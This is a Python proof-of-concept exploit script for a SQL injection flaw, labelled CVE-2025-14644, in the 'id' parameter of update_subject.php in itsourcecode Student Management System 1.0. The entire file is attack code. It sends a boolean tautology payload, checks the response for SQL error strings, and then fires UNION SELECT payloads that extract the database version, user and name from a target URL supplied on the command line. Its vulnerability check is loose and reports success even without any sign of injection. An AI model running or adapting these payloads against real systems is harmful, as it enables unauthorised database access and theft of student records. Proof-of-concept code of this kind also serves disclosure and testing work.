import requests
import sys
# CVE-2025-14644 SQL Injection PoC
# Target: itsourcecode Student Management System 1.0
# Endpoint: /update_subject.php
# Parameter: ID (vulnerable to SQL injection)
def exploit_sqli(target_url, payload):
"""
SQL Injection exploitation function
"""
# Construct the vulnerable URL
vuln_url = f"{target_url}/update_subject.php"
# Test payload - Boolean-based blind injection
# Modify the ID parameter to test vulnerability
params = {
'id': payload
}
try:
response = requests.get(vuln_url, params=params, timeout=10)
return response
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
def test_vulnerability(target_url):
"""
Test if target is vulnerable to SQL injection
"""
print(f"[*] Testing CVE-2025-14644 on {target_url}")
# Original request (should return normally)
normal_payload = '1'
print(f"[*] Sending normal request with ID={normal_payload}")
# SQL injection test payload
error_payload = "1' OR '1'='1"
print(f"[*] Sending SQL injection payload: {error_payload}")
response = exploit_sqli(target_url, error_payload)
if response and response.status_code == 200:
# Check for SQL error indicators
error_signs = ['sql', 'syntax', 'mysql', 'warning', 'error']
response_lower = response.text.lower()
for sign in error_signs:
if sign in response_lower:
print(f"[+] Potential SQL injection detected!")
print(f"[+] Error indicator found: {sign}")
return True
# If no error but different response, might be blind injection
print(f"[*] Response length: {len(response.text)}")
print(f"[*] Check response manually for SQL injection behavior")
return True
return False
def extract_data(target_url):
"""
Extract database information using UNION-based injection
"""
# Database enumeration payload
payloads = [
"1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -",
"1' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -",
"1' UNION SELECT version(),user(),database(),4,5,6,7,8,9,10-- -"
]
for i, payload in enumerate(payloads):
print(f"[*] Testing payload {i+1}/{len(payloads)}")
response = exploit_sqli(target_url, payload)
if response:
print(f"[*] Payload {i+1} response status: {response.status_code}")
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python cve-2025-14644.py <target_url>")
print("Example: python cve-2025-14644.py http://target.com/student")
sys.exit(1)
target = sys.argv[1].rstrip('/')
if test_vulnerability(target):
print("[+] Target appears to be vulnerable!")
print("[*] Proceeding with data extraction...")
extract_data(target)
else:
print("[-] Target does not appear to be vulnerable or is not reachable")